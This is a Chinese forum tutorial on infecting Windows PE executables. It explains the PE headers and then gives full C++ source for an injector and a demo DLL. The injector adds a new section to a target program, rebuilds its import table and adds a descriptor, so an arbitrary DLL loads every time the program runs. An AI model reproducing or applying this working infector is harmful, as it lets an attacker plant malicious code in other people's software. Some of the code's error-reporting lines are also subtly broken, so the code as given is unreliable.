劫持 PE 文件:新建节表并插入指定 DLL 文件

打印 上一主题 下一主题

主题 881|帖子 881|积分 2643


PE格式简介
PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。
Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。
PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。
下面是一个简化的PE文件格式
简化PE文件格式
DOS MZ HeaderPE HeaderSection TableSection 1Section 2...Section nDos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。
1、入口点 Entry Point
2、文件偏移地址 File Offset
3、虚拟地址 Virtual Address 简称:VA
4、基地址 ImageBase
5、相对虚拟地址 Relative Virual Address 简称:RVA
公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)
文件偏移地址和虚拟地址转换
在X86系统中,每个内存页的大小是4KB,即0X1000个字节。
文件偏移地址 File Offset = RVA (相对虚拟地址)
文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)
PE具体结构图
pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。
如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。
几个宏定义:
IMAGE_DOS_HEADER
  1. typedef struct _IMAGE_DOS_HEADER
  2. {
  3. WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)
  4. WORD e_cblp; //文件最后页的字节数
  5. WORD e_cp; //文件页数
  6. WORD e_crlc; //重定义元素个数
  7. WORD e_cparhdr; //头部尺寸,以段落为单位
  8. WORD e_minalloc; //所需的最小附加段
  9. WORD e_maxalloc; //所需的最大附加段
  10. WORD e_ss; //初始的SS值(相对偏移量)
  11. WORD e_sp; //初始的SP值
  12. WORD e_csum; //校验和
  13. WORD e_ip; //初始的IP值
  14. WORD e_cs; //初始的CS值(相对偏移量)
  15. WORD e_lfarlc; //重分配表文件地址
  16. WORD e_ovno; //覆盖号
  17. WORD e_res[4]; //保留字
  18. WORD e_oemid; //OEM标识符(相对e_oeminfo)
  19. WORD e_oeminfo; //OEM信息
  20. WORD e_res2[10]; //保留字
  21. DWORD e_lfanew; //新exe头部的文件地址
  22. }IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
复制代码
IMAGE_NT_HEADERS
  1. #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
  2. typedef struct IMAGE_NT_HEADERS
  3. {
  4. DWORD Signature;
  5. IMAGE_FILE_HEADER FileHeader;
  6. IMAGE_OPTIONAL_HEADER32 OptionalHeader;
  7. }IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;
  8. typedef struct IMAGE_FILE_HEADER
  9. {
  10. WORD Machine;
  11. WORD NumberOfSections;//节的数量
  12. DWORD TimeDateStamp;
  13. DWORD PointerToSymbols;
  14. DWORD NumberOfSymbols;
  15. WORD SizeOfOptionalHeader;
  16. WORD Characteristics;
  17. }IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;
  18. typedef struct IMAGE_OPTIONAL_HEADER32
  19. {
  20. WORD Magic;
  21. BYTE MajorLinkerVersion;
  22. BYTE MinorLinkerVersion;
  23. DWORD SizeOfCode;
  24. DWORD SizeOfInitializedData;
  25. DWORD SizeOfUnInitializedData;
  26. DWORD AddressOfEntryPoint;
  27. DWORD BaseOfCode;
  28. DWORD BaseOfData;
  29. DWORD ImgaeBase;
  30. DWORD SectionAlignment;
  31. DWORD FileAlignment;
  32. WORD MajorOperatingSystemVersion;
  33. WORD MinorOperatingsystemversion;
  34. WORD MajorImageVersion;
  35. WORD MinorImageVersion;
  36. WORD MajorSubsybtemVersion;
  37. WORD MinorSubsybtemVersion;
  38. DWORD Win32VersionValue;
  39. DWORD SizeOfImage;
  40. DWORD SizeoOfHeaders;
  41. DWORD CheckSum;
  42. WORD Subsystem;
  43. WORD DllCharacteristics;
  44. DWORD SizeOfStackReserve;
  45. DWORD SizeOfStackCommit;
  46. DWORD SizeOfHeapReserve;
  47. DWORD SizeOfHeapCommit;
  48. DWORD LoaderFlages;
  49. DWORD NumberOfRvaAndSizes;
  50. IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
  51. }IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;
复制代码
IMAGE_SECTION_HEADER
  1. PE文件头后是节表,在winnt.h下如下定义
  2. typedef struct _IMAGE_SECTION_HEADER
  3. {
  4. //IMAGE_SIZEOF_SHORT_NAME=8
  5. BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"
  6. union
  7. {
  8. DWORD PhysicalAddress;//物理地址
  9. DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小
  10. } Misc;
  11. DWORD VirtualAddress;//RVA
  12. DWORD SizeOfRawData;//物理长度
  13. DWORD PointerToRawData;//节基于文件的偏移量
  14. DWORD PointerToRelocations;//重定位的偏移
  15. DWORD PointerToLinenumbers;//行号表的偏移
  16. WORD NumberOfRelocations;//重定位项数目
  17. WORD NumberOfLinenumbers;//行号表的数目
  18. DWORD Characteristics;//节属性 如可读,可写,可执行等
  19. } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
复制代码
  1. typedef struct IMAGE_THUNK_DATA
  2. {
  3. union
  4. {
  5. DWORD ForwarderString;
  6. DWORD Function;
  7. DWORD Ordinal;
  8. DWORD AddressOfData;
  9. }u1;
  10. }IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;
  11. typedef struct IMAGE_IMPORT_BY_NAME
  12. {
  13. WORD Hint;
  14. BYTE Name;
  15. }IMAGE_IMPORT_BY_NAME;
复制代码
详细PE结构说明请查阅:
PE文件结构详解 --(完整版)
修改 PE 文件 IAT 注入
通过以上的简单了解后,那么我们便进入正题。
  1.     下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。
  2.     1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。
  3.     2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。
复制代码
IDT 结构:

IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。
IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多说……直接上代码。
现实代码
DLL:
点击查看代码
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "stdafx.h"
  3. extern "C"
  4. {
  5.         __declspec(dllexport) int Msg();
  6. }
  7. __declspec(dllexport) int Msg()
  8. {
  9.         system("start https://www.chwm.vip/?PEinject_v1.0");
  10.         return 0;
  11. }
  12. DWORD WINAPI Thread(LPVOID LpParameter)
  13. {
  14.         char szPath[MAX_PATH] = { 0 };
  15.         char szBuf[1024] = { 0 };
  16.         GetModuleFileName(NULL, szPath, MAX_PATH);
  17.         sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
  18.         MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
  19.         return 0;
  20. }
  21. BOOL APIENTRY DllMain( HMODULE hModule,
  22.                        DWORD  ul_reason_for_call,
  23.                        LPVOID lpReserved
  24.                                          )
  25. {
  26.         switch (ul_reason_for_call)
  27.         {
  28.         case DLL_PROCESS_ATTACH:
  29.                 CreateThread(NULL, 0, Thread, NULL, 0, NULL);
  30.         Msg();
  31.                 break;
  32.         case DLL_THREAD_ATTACH:
  33.         case DLL_THREAD_DETACH:
  34.         case DLL_PROCESS_DETACH:
  35.                 break;
  36.         }
  37.         return TRUE;
  38. }
复制代码
主程序:
点击查看代码
  1. // PEinject.cpp : 定义控制台应用程序的入口点。
  2. //
  3. #include "stdafx.h"
  4. #include "PEinject.h"
  5. #ifdef _DEBUG
  6. #define new DEBUG_NEW
  7. #endif
  8. #define ERROR_MESSAGE(Msg) cout << Msg << endl;
  9. // 唯一的应用程序对象
  10. CWinApp theApp;
  11. using namespace std;
  12. BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
  13. BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
  14. BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
  15. DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
  16. ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);
  17. BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
  18. {
  19.         BOOL bOk = false;
  20.         try
  21.         {
  22.                 bOk = AddNewSection(strTargetFile, 256);
  23.                 if (!bOk)
  24.                 {
  25.                         ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
  26.                         return false;
  27.                 }
  28.                 bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
  29.                 if (!bOk)
  30.                 {
  31.                         ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
  32.                         return false;
  33.                 }
  34.         }
  35.         catch (exception* e)
  36.         {
  37.                 ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
  38.                 return false;
  39.         }
  40.         return true;
  41. }
  42. BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
  43. {
  44.         BOOL bOk = true;
  45.         HANDLE TargetFileHandle = nullptr;
  46.         HANDLE MappingHandle = nullptr;
  47.         PVOID FileData = nullptr;
  48.         try
  49.         {
  50.                 // 打开文件
  51.                 TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  52.                 if (TargetFileHandle == INVALID_HANDLE_VALUE)
  53.                 {
  54.                         ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
  55.                         bOk = false;
  56.                         goto EXIT;
  57.                 }
  58.                 ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
  59.                 // 映射文件
  60.                 MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
  61.                 if (MappingHandle == NULL)
  62.                 {
  63.                         ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
  64.                         bOk = false;
  65.                         goto EXIT;
  66.                 }
  67.                 // 得到缓存头
  68.                 FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
  69.                 if (FileData == NULL)
  70.                 {
  71.                         ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
  72.                         bOk = false;
  73.                         goto EXIT;
  74.                 }
  75.                 // 判断是否是PE文件
  76.                 if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
  77.                 {
  78.                         ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
  79.                         bOk = false;
  80.                         goto EXIT;
  81.                 }
  82.                 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
  83.                 if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
  84.                 {
  85.                         ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
  86.                         bOk = false;
  87.                         goto EXIT;
  88.                 }
  89.                 // 判断是否可以增加一个新节
  90.                 if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
  91.                 {
  92.                         ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
  93.                         bOk = false;
  94.                         goto EXIT;
  95.                 }
  96.                 // 得到新节的起始地址, 最后的起始地址
  97.                 PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
  98.                 PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;
  99.                 // 对齐RVA和偏移
  100.                 DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
  101.                 DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
  102.                 DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
  103.                 DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);
  104.                 // 填充新节表
  105.                 memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
  106.                 pNewSectionHeader->VirtualAddress = VirtualOffset;
  107.                 pNewSectionHeader->Misc.VirtualSize = VirtualSize;
  108.                 pNewSectionHeader->PointerToRawData = FileOffset;
  109.                 pNewSectionHeader->SizeOfRawData = FileSize;
  110.                 pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
  111.                 // 修改IMAGE_NT_HEADERS
  112.                 pNtHeaders->FileHeader.NumberOfSections++;
  113.                 pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
  114.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入
  115.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
  116.                 // 添加新节到文件尾部
  117.                 SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
  118.                 PCHAR pNewSectionContent = new CHAR[FileSize];
  119.                 RtlZeroMemory(pNewSectionContent, FileSize);
  120.                 DWORD dwWrittenLength = 0;
  121.                 bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
  122.                 if (bOk == false)
  123.                 {
  124.                         ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
  125.                         bOk = false;
  126.                         goto EXIT;
  127.                 }
  128.         }
  129.         catch (exception* e)
  130.         {
  131.                 ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
  132.                 bOk = false;
  133.         }
  134. EXIT:
  135.         if (TargetFileHandle != NULL)
  136.         {
  137.                 CloseHandle(TargetFileHandle);
  138.                 TargetFileHandle = nullptr;
  139.         }
  140.         if (FileData != NULL)
  141.         {
  142.                 UnmapViewOfFile(FileData);
  143.                 FileData = nullptr;
  144.         }
  145.         if (MappingHandle != NULL)
  146.         {
  147.                 CloseHandle(MappingHandle);
  148.                 MappingHandle = nullptr;
  149.         }
  150.         return bOk;
  151. }
  152. ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
  153. {
  154.         return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
  155. }
  156. BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
  157. {
  158.         bool bOk = true;
  159.         HANDLE TargetFileHandle = nullptr;
  160.         HANDLE MappingHandle = nullptr;
  161.         PVOID FileData = nullptr;
  162.         PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;
  163.         try
  164.         {
  165.                 // 打开文件
  166.                 TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  167.                 if (TargetFileHandle == INVALID_HANDLE_VALUE)
  168.                 {
  169.                         ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
  170.                         bOk = false;
  171.                         goto EXIT;
  172.                 }
  173.                 ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);
  174.                 // 映射文件
  175.                 MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
  176.                 if (MappingHandle == NULL)
  177.                 {
  178.                         cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
  179.                         bOk = false;
  180.                         goto EXIT;
  181.                 }
  182.                 // 得到缓存头
  183.                 FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
  184.                 if (FileData == NULL)
  185.                 {
  186.                         ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
  187.                         bOk = false;
  188.                         goto EXIT;
  189.                 }
  190.                 // 判断是否是PE文件
  191.                 if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
  192.                 {
  193.                         ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
  194.                         bOk = false;
  195.                         goto EXIT;
  196.                 }
  197.                 PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
  198.                 if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
  199.                 {
  200.                         ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
  201.                         bOk = false;
  202.                         goto EXIT;
  203.                 }
  204.                 // 得到原导入表
  205.                 pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
  206.                 // 判断是否使用了绑定导入表
  207.                 bool bBoundImport = false;
  208.                 if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
  209.                 {
  210.                         // 桥一为0 桥二不是0 说明使用了绑定导入表
  211.                         bBoundImport = true;
  212.                         pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入
  213.                         pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
  214.                 }
  215.                 // 找到自己添加的新节
  216.                 PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
  217.                 PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
  218.                 PBYTE pNewImportDescriptor = pNewSectionData;
  219.                 // 往新节中拷贝原导入表内容
  220.                 int i = 0;
  221.                 while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
  222.                 {
  223.                         memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
  224.                         pImportTable++;
  225.                         pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
  226.                         i++;
  227.                 }
  228.                 // 复制最后一个描述符
  229.                 memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));
  230.                 // 计算修正值
  231.                 DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;
  232.                 // pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
  233.                 PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
  234.                 PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
  235.                 memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
  236.                 // 确定 DllName 的位置
  237.                 pszDllName[strInjectDllName.length() + 1] = 0;
  238.                 // 确定 IMAGE_IMPORT_BY_NAM 的位置
  239.                 PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
  240.                 // 初始化 IMAGE_THUNK_DATA
  241.                 pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
  242.                 // 初始化 IMAGE_IMPORT_BY_NAME
  243.                 pImportByName->Hint = 1;
  244.                 memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
  245.                 pImportByName->Name[strFunctionName.length() + 1] = 0;
  246.                 // 初始化 PIMAGE_IMPORT_DESCRIPTOR
  247.                 if (bBoundImport)
  248.                 {
  249.                         ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
  250.                 }
  251.                 else
  252.                 {
  253.                         ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
  254.                 }
  255.                 ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
  256.                 ((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
  257.                 // 修改导入表入口
  258.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
  259.                 pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
  260.         }
  261.         catch (exception* e)
  262.         {
  263.                 ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
  264.                 bOk = false;
  265.         }
  266. EXIT:
  267.         {
  268.                 if (TargetFileHandle != NULL)
  269.                 {
  270.                         CloseHandle(TargetFileHandle);
  271.                         TargetFileHandle = nullptr;
  272.                 }
  273.                 if (FileData != NULL)
  274.                 {
  275.                         UnmapViewOfFile(FileData);
  276.                         FileData = nullptr;
  277.                 }
  278.                 if (MappingHandle != NULL)
  279.                 {
  280.                         CloseHandle(MappingHandle);
  281.                         MappingHandle = nullptr;
  282.                 }
  283.         }
  284.         return bOk;
  285. }
  286. PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
  287. {
  288.         int i;
  289.         PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
  290.         for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
  291.         {
  292.                 if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
  293.                 {
  294.                         return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
  295.                 }
  296.         }
  297.         return PIMAGE_SECTION_HEADER(NULL);
  298. }
  299. DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
  300. {
  301.         DWORD _offset;
  302.         PIMAGE_SECTION_HEADER section;
  303.         // 找到偏移所在节
  304.         section = GetOwnerSection(pNTHeaders, dwRVA);
  305.         if (section == NULL)
  306.         {
  307.                 return(0);
  308.         }
  309.         // 修正偏移
  310.         _offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
  311.         return(_offset);
  312. }
  313. int main(int argc, char *argv[])
  314. {
  315.         AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");
  316.     system("start https://www.chwm.vip/?PEinject_v1.0");
  317.         system("pause");
  318.         return 0;
  319. }
复制代码
效果演示
修改前

修改后

运行效果


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

飞不高

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表